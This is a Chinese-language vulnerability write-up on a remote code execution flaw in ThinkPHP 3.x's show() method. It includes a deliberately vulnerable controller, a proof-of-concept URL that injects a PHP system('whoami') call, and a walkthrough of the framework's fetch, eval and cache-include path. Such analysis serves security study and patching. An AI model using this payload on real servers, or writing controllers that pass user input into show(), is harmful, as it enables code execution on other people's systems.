ThinkPHP3.xshow命令执行漏洞分析
show方法参数可控导致RCE
代码
Application/Home/Controller/IndexController.class.php
控制入口输入下列代码
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index($n = '')
{
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 show函数命令执行</h2><p>注入点:"?n="' . $n . '</p>', 'utf-8');
}
}
payload
http://www.tp3.com/index.php/home/index/index?n=<?php system("whoami");?>
漏洞分析
首先进入到show方法
接着进入到display方法,又调用了fetch方法
来看这个方法,如果content不为空,并且使用了PHP原生模板,就会直接载入PHP模板
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}
如果不是PHP原生模板
跟进exec方法,在这里return执行到了run方法
在run方法中这里再次调用fetch
这里直接进行了载入模板缓存文件
进入到load,进行文件包含操作
关键的代码就在上图中,这里之前index里的内容被存入了缓存文件php文件中,连带着我们输入的可控的php代码也在其中,然后包含了该文件,所以造成了命令执行。